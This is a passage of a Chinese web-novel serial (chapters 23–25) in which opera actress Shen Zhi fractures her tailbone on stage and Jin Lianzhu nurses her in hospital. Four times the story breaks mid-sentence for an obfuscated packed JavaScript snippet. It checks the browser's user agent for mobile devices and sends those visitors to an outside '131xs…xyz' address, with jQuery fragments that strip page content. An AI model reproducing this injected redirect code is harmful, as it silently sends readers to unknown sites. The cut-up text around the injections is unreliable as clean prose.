虽然他已经在极力控制了,可总忍不住这样想。他不想看着沈枝难过,她难过哭泣,他只会更难受。 沈枝冷漠的态度一直维持着,只有在搭戏排练的时候才会如常跟他说话,说的内容只有工作、剧本和讨论彼此的技术。 就连她看他的眼神,都带着一种陌生、疏离,还有一丝尖锐的嫌弃。 靳连竹每次对上那双水灵灵的大眼睛,都觉得自己像是在被她鞭笞,她在跟他说话时再没有笑过。可是当他看到沈枝和同事们有说有笑的时候,一颗心好像被刀子剜绞,疼得一抽一抽的。 和她终究是成了陌生人。 剧团院子的角落里,靳连竹点了一支烟。 这辈子他极少抽烟,这是第二次。 第一次是两百多天以前,他决定消失的时候。 不,不会是陌生人。 渺小的烟火明灭间他想明白了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441285|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝不会让他们的关系变成陌生人。 才抽了两口的烟被掐灭,折成两节丢进垃圾桶里,他去洗漱清口后带着惯常的温暖的笑容重新走进排练厅,那里,已经来了好几个同事了。 两个人关系的变化似乎并没有引起同事们的察觉,一切一如既往。 只是排练却不如从前顺畅,尤其是主角的戏份,不是台词错就节奏错,好几次竟然会走位错,总之怎么都对不上似的。 排练的进度被耽搁下来,不知不觉就进入了五月。 天气暖和起来,沈枝却越来越觉得自己的状态不对了。 依旧每天早起练功却怎么都唱得不对,情绪不够,眼神不到,一招一式一举一动好像都很陌生,整个人还疲累得提不起精神。 找不到感觉让沈枝很沮丧,这么多年还极少有这样的情况出现。 同事们都看在眼里,大家没说什么,纷纷劝她多休息,只有沈枝自己明白,是她心理的坎还没完全过去。 内因往往起着决定性作用。 这段时间靳连竹除工作以外都没有主动找沈枝说过话,只是有时候排练间隙很自然地递上水,或者中午吃饭的时候帮她拿一下餐盘,还有一些他请全团喝咖啡吃点心的时候,都会很自然地给每个人送到手里,自然也包含她。 她也总是默默接过,轻轻道一声“谢谢”,没有目光对视,有时候看到他在发饮料干脆去卫生间躲掉。 然,属于她的饮料和点心也总是会出现在她的办公桌上。 沈枝更加努力地练功,可是状态却始终没有回来。 “你最近怎么了,有什么烦心事。” 团长办公室里,谢团给沈枝递上一盒辣椒酱,“这是你师母特意给你做的,说你爱吃。” 的确是沈枝爱吃的辣酱,沈枝拿在手里笑得很灿烂,“替我谢谢师母,我没事,大概是没有休息好。” 谢团不说话,一双凌厉的眼睛在她脸上梭巡。 “你别唬我,你呀,从小就不会遮掩,一开始胡说八道就要脸红。” 无法否认,沈枝尴尬地低着头扣手指。 “国庆汇报演出的初审时间下来了。”谢团见她不肯说也不多问,拿着一份文件交给她,“在六月底。” 团长没有多说什么,可未尽之言沈枝心里明白,眼看着还有不到两个月的时间,她这样的状态到时候如果无法通过节目被淘汰,损失可不是一次演出机会这么简单。 国庆献礼是多少人多少单位一辈子的梦想,沈枝不愿因为她一个人的状态毁掉全团的努力。 “我会努力的,团长。”沈枝抬头,表情严肃,“再给我点儿时间,我会尽快调整自己的。” 谢团笑眯眯地点头,“别太紧张,你该放松。最近团里接到不少演出,我想派你去,演出也是训练的一种,换一换心情说不定状态很快就回来了,总比整天窝在练功房里强。” 能外出演出就不用整天对着靳连竹,沈枝自然答应。 “另外,和宋氏集团的合作,文件已经批下来了。”谢团又递给她一份文件,“团里决定派你做代表,这也是宋氏集团点名要的,接下来你可能会很忙,自己要注意劳逸结合啊。” 沈枝笑着拍胸脯,“保证完成任务,请领导和组织放心。” 谢团点了点头,表情复杂地看着她,犹豫片刻才缓缓开口,“还有一件事,你祖父昨天来团里了。” 23. 出事了 原本还在笑嘻嘻打哈哈的沈枝,在听到这句话的时候表情骤然僵住,虽然她已经在努力地想要管理好自己的表情,可那警惕的眼神,皱起的眉头,还有紧绷的下颌线,抿成一条线的嘴唇说明了一切。 谢团笑了,“这么紧张,跟家里的关系还没缓和啊。” 沈枝默了默,努力扬起轻快的声音,道:“就那样。” 随即抬头看着谢团,“我爷爷他说了什么。” 上次白玉兰奖上遇到沈青,她当场就给沈丛艺打了电话告状,从电话里就能听到长辈们对自己私自参加白玉兰的愤怒。 可是这是团里的决定,虽然得奖的是她,可是她代表的是戏剧团。 对,就是因为她代表的戏剧团而不是爸爸的演出公司,代表的不是沈家,这才惹怒了他们。 “老人家还是很关心你的。”谢团盯着她的眼睛看了一会儿,“问问你的情况,听说你拿了奖很开心,能看出来老人家很激动啊。沈老虽然没有直接教过我,可是我知道他是一位好老师,在业内的口碑和声望也是有目共睹的。” 沈枝松了一口气,点了点头松弛地靠在椅背上没再说什么。 谢团咬了咬牙,还是把一些事咽进了肚子里,他本来是想旁敲侧击打听一下沈枝和靳连竹的关系,这是那天老人家过来拜托他的事,可他这个学生有多敏感,谢团心里可太清楚了,但凡露一个字她一定能猜到全部。 沈老担心自己的孙女被人骗,这也是人之常情,但是谢团觉得沈枝是个聪明且有分寸的孩子,不会做出让人不放心的事,没必要提醒,索性不提也罢。 先让她好好恢复状态吧,眼下这才是最重要的。 沈枝接到了预演的时间也接到了新的演出任务,重新回归到忙碌的状态。 好在演出任务所在的地方都不太远,谢团给安排的远一些的也就是通州、昌平的戏剧院,演出时间比较早不用在外过夜,倒是方便许多。 每天东奔西跑的,除了彩排之外几乎看不到靳连竹了,沈枝的状态也在慢慢恢复,整个人也重新活泛起来,又是那个有说有笑没心没肺的模样了,谢团看着心里很安慰。 这样的日子两个人偶有见面,也都是偶遇。 或是在家门口遇上,或是同乘一部电梯,彼此见到了点头打个招呼,沈枝匆匆一瞥目光从他脸上滑过就低着头看手机,没有说话也没有尴尬,只是觉得他整个人消瘦了不少,但是气色看上去还是不错的。 或许一切都过去了,沈枝想,自己没有了生气愤怒和被骗的感觉,也不再觉得委屈,现在满心满脑都是演出、排练和练功,平静得像一面无波无澜的湖面。 纯粹地做一件事无罣碍是一种幸福且奢侈的感觉,应当珍惜。 两个多礼拜,两个人在排练以外唯一说过一次话是在电梯间,靳连竹告诉沈枝,“宋雪峰出差回来了,他想请大家吃饭开个碰头会,商量以后工作推进的事情。” 他声音听上去很平静,淡淡的,“我说你最近演出比较多,很忙,让他自己联系你了。” 沈枝抬着头看着电梯间显示屏上一点一点逼近的数字,“吃饭就算了,开会我会去的,谢谢你,我会跟他说的。” 叮咚一声电梯到站,开门,沈枝走进电梯猛然想起什么,回头看他,“你也参与了这个项目?” 靳连竹点头,“技术顾问,是沈老的要求,不好推辞。” 他仍旧在电梯间站着,没有要走进来的意思。 沈枝点了点头,没再说什么,片刻后又问他,“你,不上来?” “不了。”他说,“我就是来跟你说这个的。” 沈枝点头,算是打了招呼,就在电梯门即将关上的一刹那,靳连竹说了一句,“你瘦了,好好吃饭。” 伴随着温柔的声线,电梯门关上,那道纤瘦的身影消失在眼前,靳连竹呆呆地站在电梯间里。 这是这些日子以来,她同他说话最多的一次,看她的表情很温和,似乎已经不再生气了,是了,她早就不再生气了,她已经把他打入死牢了。 无奈,自责,愧疚,说不出是什么情绪每天折磨他,让他吃不下饭睡不着觉,原来爱听的戏曲不听了,每天支着耳朵听她那边的动静,什么时候回来了,什么时候又走了。 靳连竹慢慢挪动步伐往家里走去,他曾想过身份暴露之后沈枝会很生气会不理他,他觉得自己做好了准备,可是现在他觉得自己一天比一天生不如死,那种如坐针毡的感觉逼得他发疯。 当初是因为想要利用沈枝报仇才一点一点从网上接近她,试探她,发现她真的很好骗,聊了一段时间沈枝把他当成偶像,什么样的专业问题都问他,让他给意见,而她,也真的是个戏痴。 靳连竹也十分欣赏她的努力和天赋,起初只是想敷衍她的,谁知...... 这世上许多事是无法控制的,他想。 对于靳连竹也参与了宋氏集团的项目这件事,沈枝稍稍有些意外,记得曾经听宋雪峰说起过,他祖父一直想邀请靳连竹加入宋氏企业,不管是什么样的合作项目还是以任何方式,他都没答应过,现在居然答应了。 算了,那是人家的想法,沈枝摇了摇脑袋抬头看电梯上的数字,不该她操心的事不要管。 这样又忙了大半个礼拜,沈枝觉得自己的状态已经恢复得差不多了,跟谢团商量了一下,再演完艺术中心那场后就把工作重心调整回来,放在了汇报演出的排练上。 最近一场重要的演出是在通州的京市艺术中心,是“四大文化地标”之一,场馆专业而且这里的演出都是国家甚至世界级的,对于这场演出沈枝十分重视。 先前不但认真排练过许多次,还提前几天检查了道具和所有物品,力求完美。 演出那天她更是养足精神,连化妆老师都夸她气色好状态好呢,沈枝看着镜子里的自己也觉得那个神采奕奕的自己又回来了。 沈枝到达艺术中心的时候就看到了门口自己的海报,还有已经来排队的戏迷。 对于一个演员而言,这一刻的含金量是无可比拟的。 沈枝今天要演出的剧目一共有三个,按照出场顺序分别是《失子惊疯》、《穆桂英挂帅》和一部现代京剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444883|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《红灯记》,都是十分经典的剧目。 这几场戏沈枝早已非常熟悉,只要状态好就没问题。 第一场《失子惊疯》是一出折子戏,也是尚派艺术的代表剧目,非常考验演员的内功。 故事讲述了明代成化年间,颍州知府梅俊的侍妾胡氏怀胎十四月未生。梅俊的正室金氏妒忌胡氏诬陷她怀的是妖胎,想要加害于她。丫鬟寿春得知后,帮助胡氏连夜出逃。途中,胡氏在寒窑内产下一子,她为孩子佩戴上家传的宝物“乾坤福寿镜”以保平安。之后,胡氏主仆二人继续逃亡,行至深山时,不幸遭遇山寇首领金眼豹。胡氏因惊慌失措,在逃亡过程中不慎将婴儿遗失。后来,婴儿被宁武关总镇林鹤拾到并收养。而胡氏则因痛失爱子而瞬间精神失常,陷入疯癫。一位母亲丢失孩子后因巨大打击而发疯的悲剧故事。 之所以选这出戏是因为这出戏的重点不在于复杂的情节,而在于演员如何通过程式化的表演来外化人物内心的极度痛苦与精神崩溃,它的艺术价值远高于故事本身。 对于戏中很有看点且难度较大的水袖功和跌扑功夫,沈枝都早已驾轻就熟。 然,谁也没想到却出了意外。 戏开场之后一切顺利,然沈枝有一个“屁股坐子”的动作,来表现母亲失去儿子的惊慌失措和痛苦狼狈。 所谓“屁股坐子”就是演员在空中跳起,双腿向前后劈开成“一”字形的叉,在身体下落的瞬间,重心下沉,臀部直接着地,同时上身保持戏曲身段的姿态。 整个动作要求干净利落,落地时声音要脆,不能拖泥带水,对沈枝而言不是什么难事。 可是谁也没想到的是,就在她将将要腾空劈叉的瞬间,不知是什么东西掉落,圆圆小小的被踩在脚下,打了个滑起势的动作没有到位人就腾空而起。 一切都来得猝不及防,沈枝的“屁股坐子”落地后引来一片掌声,可只有她自己知道,在直直落地的一刹那,自己臀部尾椎的疼痛就像一条蛇从后脊梁直窜到脑门子,疼得全身僵直头皮发麻。 戏还在继续,沈枝顾不上疼痛继续演下去,一切都如排练时一样顺畅自然,甚至都没有同事看出她有任何异常。 好在这出折子戏只有四十分钟,沈枝忍着疼痛演完下场后才发现自己的衣服已经从里到外汗湿了。 后台是匆匆忙乱的,沈枝没有告诉任何人自己伤到了尾椎骨,这也不是什么大毛病,她躲在化妆间里一个人活动活动手脚胳膊腿,还好,其他地方没有问题。 究竟是什么东西硌脚已经无从发现了,台上灯光如昼她也看不清楚,总之就是道具失误也算常有的事,眼看着下面还有两场戏,加起来有三四个小时的演出,沈枝忍住了泪水,托一位保洁阿姨悄悄帮她买了止痛药吃下。 整场演出圆满,沈枝又一次得了满堂彩,光谢幕就谢了三次,她丝毫不敢懈怠甚至怕被人瞧出来异样,忍着尖锐的疼完完整整走完了整场演出。 直到最后一次退出舞台,整个人因疼痛实在难以支撑,从阶梯上摔了下去,好在眼尖的同事看到一把把人扶住,沈枝晕了过去。 24. 没机会了 沈枝受伤了,尾椎骨骨折。 至于晕倒,是因为受伤后强忍疼痛造成的。 沈枝醒过来的时候已经第二天的上午了,医生说她是因为疼痛加上长期劳累过度,导致昏迷的时间有点儿长。 谢团和同事们都在,见她醒过来都松了一口气,七嘴八舌关心她的情况。 “小沈是真的勇啊,疼成那样愣是吃了几片止疼药扛过去好几个小时。” “是啊,我上次尾椎骨挫伤而已,都疼得站不起来了。” “枝枝,你是脚下踩滑了吗,我当时在台上也踩到了一个类似钢珠的东西。” …… 大家的关心沈枝一一回答,至于究竟是钢珠还是什么东西让她滑倒已经无法追究了,演出中出现这样的小事故也是常有的事,沈枝没放在心上。 “这个伤吧其实没什么大不了,表面看好人一个,既不用打石膏也不用绑绷带,可是疼只有自己知道。”李姐看着她直叹气,“大夫说最起码要一个多月才能动。” 那不就错过了预演,沈枝看向谢团。 大夫说了什么她当时昏迷着,还不知道。 谢团瞪了李姐一眼,笑呵呵敷衍她,“要看个体情况,你底子好人又年轻,应该用不了那么久。” 大家都知道汇报演出对一个主演的意义,纷纷宽慰她。 沈枝不想让大家着急,也就笑呵呵地插科打诨,直到同事们纷纷离去,她才把谢团留下来。 “团长,老师,您跟我说实话,我这个伤会错过预演吗。” 谢团叹了口气,点了点头,“大夫说你伤得很严重,受伤之后没有第一时间就医,又带着伤演了几个小时,影响有点儿大。” 沈枝愣住了,那怎么办,预演怎么办,预演参加不了会不会影响汇报演出,如果团里让备用演员上,那她几个月的努力不就白费了,汇报演出也参加不了了。 “你先别多想,好好养伤。”谢团拍了拍她的手背,“预演的事我帮你顶着。” 杨小咩进来的时候谢团刚好走,沈枝还在发呆。 “先别想这个事情了。”杨小咩带来吃的,“先喝点粥。” 沈枝昨晚上受伤,杨小咩第一时间就赶过来了,看着闺蜜的一刹那眼泪再也忍不住了,沈枝哭了。 伤口很疼,心里很委屈,连日来积累已久的压抑彻底爆发。 她一句话都没有,只一味地哭,哭得抽泣到一噎一噎的,牵扯到伤口又疼得钻心,这才止住眼泪。 擦掉泪水再一抬头,靳连竹不知什么时候站在她病床的另一头,手里拿着一沓票和一个装满东西的袋子。 他就那样安安静静地看着她哭泣,眼里满是心疼和难过。 “你,怎么来了。”沈枝扭过头去擦掉眼泪。 “他昨晚上跟我一起来的,不然我一个人怎么忙得过来。”杨小咩起身接过靳连竹手里的票据,问他,“都办妥了。” 他点了点头,将手里的东西交给杨小咩转身去了洗手间。 “他非要抢着付医药费。”杨小咩晃了晃手里的单据给沈枝看,“又忙着去买你住院需要用到的东西,看,水盆、毛巾、牙刷、沐浴露、洗发水……” 她一样一样地拿出来清点,沈枝一个一个看过去,都是她平时用的牌子,真难为他短时间内凑得这样齐全。 “得,一样不少,还帮你准备了软底拖鞋和o型坐垫。”杨小咩拿出那个坐垫晃了晃,“这可是大夫交代过的,坐这上头对你伤口有利,还能减轻疼痛。” 她想扶着沈枝起身把坐垫垫在下面,却怎么都扶不动,沈枝的伤太痛了,自己使不上劲。 “我来。” 靳连竹从卫生间里出来,放下手里的水盆,两只胳膊架起沈枝,杨小咩赶紧把坐垫放在她身子下面,靳连竹再小心翼翼地慢慢放下她,让她跟坐垫逐步接触压下坐实,这才敢松了手。 “小靳真是细心。”杨小咩夸他,沈枝白了她一眼。 “先擦把脸吃饭吧。”靳连竹也不多说,把水盆递给杨小咩,“我出去一下。” 匆匆看了她一眼,更像是偷看的,他转身离去。 擦过脸整理好情绪,沈枝慢慢吃完一碗粥,整个人这才冷静下来。 “昨晚上医生说你伤情的时候,小靳就说了,不能听一个医生的,咱们多找几个大夫看看,总能有办法的。” 他们都是她最知近的人,自然知道她拼命练功排练的目标。 沈枝点点头,又抬头,“他怎么知道的。” 杨小咩说:“你是演出受伤,你们团里的人第一时间给他打电话之后才找的谢团,是他通知我的,说我过来你可能会更舒服些。” 见沈枝没说话,杨小咩碰了碰她,“我说,你还跟人家生气呢。” 这叫什么话,不该生气吗。 “没有。”沈枝说,“之前的确在生气,但是现在已经不气了,就当他是个……” 她想了想,陌生人肯定不是,“是个熟人吧,邻居。” 所以说嘛,杨小咩笑了,“本来就是邻居,是熟人啊,所以你在生什么气呢,好像小情侣闹别扭一样,瞧瞧你们两个,你不看他,他也不敢看你,却又巴巴地跑前跑后忙活着。” 什么小情侣,这丫头疯了吧,沈枝懒得理她,别过脸去。 她现在更发愁的是自己的伤。 虽说小咩说得没错,是要多找几个大夫看看,可是这种尾骨骨折的小毛病,大夫是不会看错的,就算是专家来了,又能有多好的治疗方案呢,无非就是等,养,自愈。 “我刚才去打了几个电话。”靳连竹又回来了,递给沈枝一张纸,“这是我联系到的几家医院的大夫,我拿着你的x光片去给他们看看,问问意见。” 瞧瞧人家这执行力,杨小咩在一旁使劲给沈枝使眼色,沈枝装没看见。 “谢谢。”她说,“你也忙了这么久了,回去休息吧。” 杨小咩赶紧附和,“对,小靳,你快回去吧,回去好好休息,这里有我,晚上你再来替我。” 说完又冲沈枝挤眉弄眼,“夜里让小靳看着你吧,我家里还有毛孩子。” 屁,沈枝对她这个闺蜜有时候冒出来的无厘头真的无语。 在杨小咩的催促下,靳连竹交代了一些医生叮嘱的注意事项后才离开。 “谁要他看夜。”沈枝翻她一个大白眼,“我自己可以。” “好好好,你不要他看夜,那我来行吧,二十四小时好闺蜜。” “不用,我自己能行。” “大夫说不行。” “大夫夸张了。” “那请护工。” “不要,我不习惯陌生人在身边。” “那……”杨小咩放慢语速,低声说,“我打电话让你家里人过来……” “不要。”沈枝打断她。 前几晚是肯定要有人看夜的,沈枝想来想去,算了,随便吧。 这时候只想睡觉。 果然,第一夜就让沈枝疼得死去活来睡不着觉。 起先十点多她就睡下了,靳连竹在一旁的躺椅上半躺着看手机,直到她哼哼唧唧直喊疼,他伸手摸了一下她的额头才发现她早已疼得满头大汗了。 她可真能忍。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455563|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 靳连竹忙叫来大夫,检查过后又打了止痛针这才勉勉强强睡了两三个小时。 凌晨的时候再次疼醒,沈枝看到靳连竹一整夜没合眼。 止痛针之后还有消炎的针,怕她不舒服点滴滴得很慢,整整一夜才算滴完,他就这样坐着看了一整夜。 “辛苦你了。”沈枝觉得很不好意思,药劲上来后疼痛感减轻了许多。 他摇头,拿起旁边的毛巾帮她擦汗,“你太拼命了,连忍疼都这么拼。” 她笑了,他也笑了。 吃过早饭,宋雪峰过来了,兴师动众地搬来了一大堆补品和礼物,甚至还有名牌包包。 沈枝失笑,“这是干什么。” “女孩子都喜欢大牌包包啊,包治百病嘛,我懂。”宋雪峰拆开那个橘色的袋子递给沈枝,“这可是经典款,师父喜不喜欢。” 沈枝拒绝了,“拿走,拿走,拿走。我不喜欢这些。” 像极了唐三藏拒绝人参果的表情,嫌弃又害怕。 “一个礼物而已,我想让师父高兴高兴。”宋雪峰一脸委屈。 想起沈青那晚炫耀包包的表情,沈枝懂了。 “我不是你师父,别瞎叫,想让我高兴就早点拿走,送你的女朋友们去。”沈枝看着他,“不如你把人都叫来,咱们在这开会吧,我闲着也是闲着……” 宋雪峰吓跑了。 让靳先生知道他敢在枝枝老师病床边开会,估计能折磨死他。 下午靳连竹来了,带着宋雪峰一起,两个人拿着沈枝所有的病历和拍的片子做检查的单子走了,宋雪峰说认识一个这方面的顶级专家,可以请他看看。 沈枝躺在病床上等待着消息,看着外面蓝色的天空白白的云朵,还有鸟雀叽叽喳喳地叫着,这才恍然感慨,自己有多久没有好好抬头看看天了。 好像越来越暖和了,外面都有人穿裙子了。 可惜的是,带来的消息并没有令人振奋。 正如沈枝所想的一样,这样的病,一般的大夫是不会看错的,不存在多大的技术差别,得到的结论都差不多——静养,等待。 沈枝不死心,让杨小咩帮她拿来电脑,又买了书自己查。 作为患者多了解一些配合治疗是有必要的。 可是查来查去,也没查出什么花来,沈枝对着一大堆专业术语欲哭无泪。 好像在这一刻,老天爷在告诉她,别费劲了,没用。 又是那种无能为力的感觉,任凭怎么努力都只能是一个结果。 沈枝很沮丧。 已经是傍晚了,今天没有晚霞,灰黢黢雾蒙蒙的一片,看不清楚,就像她现在的感受。 预演之前是要大强度训练的,预演上表现好节目才有可能会被保留,不然就会错失这次国庆汇报演出的机会。如果因为她让大家错失了机会,沈枝会内疚一辈子的,毕竟有很多年纪大一点的同事或许只有这一次这样的机会了。 可是如果她真的上不了,让备选演员去演的话……沈枝不敢想,自己会有多难过。她为了这次演出拼了这么久,机会就在眼前却抓不住。 眼泪止不住滑落,打湿了病号服,越哭越想哭,越哭越止不住,索性把头埋在两腿之间,抱紧臂膀闷着声一个人哭了起来。 这是她住院以后第二次哭了,从前沈枝不爱哭,记忆中上一次哭还是小孩子的时候。 眼泪怎么擦都擦不完,委屈到哽咽,沈枝红着眼抬起头想找点纸擦擦,就看到一只白净修长的手指捏着纸巾递到了她的面前。 “你看了多久。”她问。 “从你开始哭。”他答。 25. 替演 话题就此打住,两个人都没有再说话。 索性都被看到了,沈枝更加肆无忌惮地哭起来,哭得酣畅淋漓,哭得天昏地暗,直到头晕缺氧了才止住眼泪。 算是一场彻底的发泄吧。 她哭得像个小孩子,靳连竹站在边上不知所措,垂在身侧的手不自觉捏成拳头,好像在替她使劲,又好像在怪怨自己不能替她受伤替她疼。 她哭得肩膀一抖一抖的,原本瘦弱的身子越发让人觉得可怜,好想过去抱抱她,给她力量给她安慰,告诉她:一切有我。 可是他不能。 沈枝彻底发泄完了才看到那个人正默默地蹲在地上捡她丢掉的擦鼻涕眼泪的纸巾团,一个一个用手捡起来丢在垃圾桶里,她丢他捡。 等他放好垃圾桶洗了手回来,沈枝已经彻底平静下来。 “你怎么都不说话。”她问。 不应该劝阻两句或者安慰一下吗。 靳连竹仍旧站在那里,整个人显得有些虚弱,声音也不大,“你憋得太久了应该释放一下,这样对你身体有好处。” 窗外的光照到他身上,浅淡的蓝把他一半面颊裹住,看上去更加消瘦了。 “你看上去气色很不好,回去休息吧。”沈枝拢了一下头发,因抬起手臂而牵扯到伤口的疼痛让她扎头发的动作顿住了,脸上露出十分痛苦的表情,细看下去能看到眼睛里又一次翻涌上来的泪水。 “我没事,你这里离不开人。” 靳连竹看着她的动作和她手里的东西,眉头微微蹙了一下。 那是一个蓝色针织的大肠发圈,又松又紧的,既适合戴在手腕上也适合用来扎头发,而且做工十分精细考究,是沈枝平日用得最多的一个。 是他做的。 沈枝还在为又一次弄疼伤口而努力吸气想要压住泪水,没留意他说了什么。 靳连竹走过来接过她手里的发圈套在自己的手腕上,然后拿起梳子绕到她背后,开始给她梳头发。 她的头发又黑又直,厚厚的浓密如瀑布一样,就算只用手拢一拢就已经很顺滑了。 “不用,我……” “就当我是个护工吧。” 他打断了她的话,一下一下慢慢梳着,力道不轻不重,速度不疾不徐。 好像让时间永远停留在这一刻。 “请护工是要付酬劳的。”沈枝也不强求,随他吧。 “那就等你好了请我吃饭吧。”他说,声音清清浅浅仔细听还带着点儿鼻音。 “就一顿饭,你也太便宜我了吧。”沈枝跟他开玩笑。 身后的人默了一下,“我可没说是一顿饭。” 沈枝一愣,想回头看他却因伤口牵扯不敢回头。 靳连竹站在她看不到的地方,嘴角微微牵起一丝弧度。 他帮她梳顺头发,又挽了个很慵懒的低丸子在脑后,不松不紧刚刚好。 他拿着两面镜子照给她看,得到了沈枝的惊叹,“真好,没想到你绑头发绑得这么好。” 她左右照了照,很满意,又问他,“怎么绑的,教教我。” 他把镜子递到了她手里,摆好角度,把刚扎好的头发松开又重新慢慢地给她演示一遍,而后又扶着她的手试了几次,直到沈枝彻底学会。 看着她满意地欣赏自己的手艺,靳连竹轻轻咳嗽了两声。 温柔的目光投下来,沈枝看向他,“你着凉了。” “没有。”他否认。 可是看着他憔悴疲惫的样子,有些发白的面色,沈枝强行让他回去休息。 靳连竹摇头,“我还是留下来吧,不然回去更不放心睡不着,还不如在这里能睡一会儿。” 看他坚持,沈枝也不再多劝,让他喝了水睡下,自己也跟着睡了一觉。 这一夜沈枝又是疼得直流眼泪,靳连竹一遍一遍喊医生,帮她递水给她擦汗,结结实实折腾了一夜。 第二天,他咳嗽更重了,眼圈也凹下去了。 沈枝坚持让他回去,他才在清理完垃圾桶,看着她吃完早饭,又帮她泡好茶后才离开。 同事们今天又来看沈枝了,叽叽喳喳地围着她,热闹和鲜活让沈枝暂时忘却了疼痛和烦恼。 “我看枝枝气色还是蛮好的,说不定能很快就恢复了。” “对,年轻底子又好,又有人这么贴心地照顾着自然恢复得快。” 知道大家是在宽慰自己,沈枝笑笑表示感谢。 “难得能好好休息一下,我都羡慕你了。” “这些日子实在累惨了,那个新来的……” “嗳说什么呢,吃点橘子吧,还有香蕉苹果。” 话题被生硬地打断了,那个说错话的姐姐红着脸被同事们戳胳膊肘。 沈枝顿时明白了,“没有主角怎么彩排,团里是不是选定了备用人选了。” 见她问得坦然,李姐索性说了,“不想告诉你是怕你伤心,不过是新来的一个姑娘,团里没什么地方好安排她,就让她先替你彩排,等你好了还得你上。” 宽慰的话沈枝听得明白,她笑了笑,“我的伤现在还没有结果,就目前来看并没有提前痊愈的迹象。” 这话是实在话,她不想揣着明白装糊涂,让大家都尴尬。 “有人能替我自然好,我呢,心里是很想演的,毕竟是国庆汇报演出,一辈子能得几回这样的机会啊。这只是其一,可是如果真的伤好不了演不了,再因为这个耽误了大家,那我就更接受不了了。” 看着大家的眼神都清澈了许多,沈枝知道,这话说到了大家的心坎里。 “如果能有人替我演,不耽误大家,我虽然替自己难过,倒没有负罪感。” “怎么样,我就说吧,小沈是个明白人。” “其实也不能说替你,是新来的小陈,年轻你两岁,人很漂亮听说有关系,咱们还以为是个绣花枕头,结果这两天排练下来你别说,功夫还真不赖。” “对,很有几分你的风范。” 大家纷纷夸赞,“跟你一样,是个能吃苦的丫头,也是一大早就跑来练功了。” “对,又是一个拼命三娘。” …… 大家七嘴八舌,李姐劝她,“你也别往心里去,这事谢团是不同意的,但是顶不住上头的分派,不过听说只是合同工。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459136|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么工不重要,上头有没有人跟沈枝也没关系,那些都是道听途说,关键人家有本事有能耐,能挑起大梁。 比她还年轻两岁,真是前途无量啊。 看着雪白一片的病房,沈枝默默咬牙,心里就像吃了黄连一样闷闷地发苦。 自己好不容易准备得周全的项目,在临门一脚的时候让自己搞丢了,那种遗憾和不甘,让她一想起来就有一种万念俱灰的感觉。 整个人也提不起气,整天歪在病床上看着窗外发呆。 杨小咩发来搞笑视频给她,她也不看,群里大家的聊天也不参与,这期间沈枝的妈妈过来探病,母女两个说了几句话就不欢而散。 连杨小咩都不明白,自己亲女儿受伤住院为什么做父母的能够这么狠心不管不问。 沈枝笑了笑,“在爸爸心里,他的生意最重要。妈妈忌惮爸爸,不敢来。” “那你爷爷呢。” “爷爷。”沈枝笑了,“如果我的伤不妨碍国庆汇演,爷爷会来看我的。” 杨小咩看了一眼旁边一直沉默削苹果的靳连竹,咋舌。 这样的家人太势利了吧。 不是势力,是沈家的名声带给每个人的好处太多了,他们不想失去也不能失去,怕。 靳连竹又削好了一个苹果,沈枝笑了,“你削了六个了,这是要干嘛,我们只有三个人。” 他看了她一眼,“榨汁,煮水,给你们尝尝。” 他带了榨汁机,这里有电饭煲。 嗡嗡的榨汁机声响起,病房里有了点儿噪音也不显得气氛那么沉闷了。 “我找到了一个很厉害的中医。”靳连竹把新鲜榨好的苹果汁送过来,“你现在还属于急性期,中医的按摩针灸暂且无法用在治疗上,但是可以用远端取穴针灸来镇痛,最起码可以缓解疼痛,觉睡好了人才有力气想事情。” “这个好哦,还是你想得周到。”杨小咩摇了摇沈枝的手,“你试试看,我总觉得国庆汇演拱手让人实在可惜。” 沈枝点头,总觉得做点儿什么心里舒服点。 中医虽好却更是需要耐心和时间的,还得有毅力坚持。经过几次针灸沈枝觉得疼痛感的确减轻了不少,有时候都可以活动活动腿脚了。 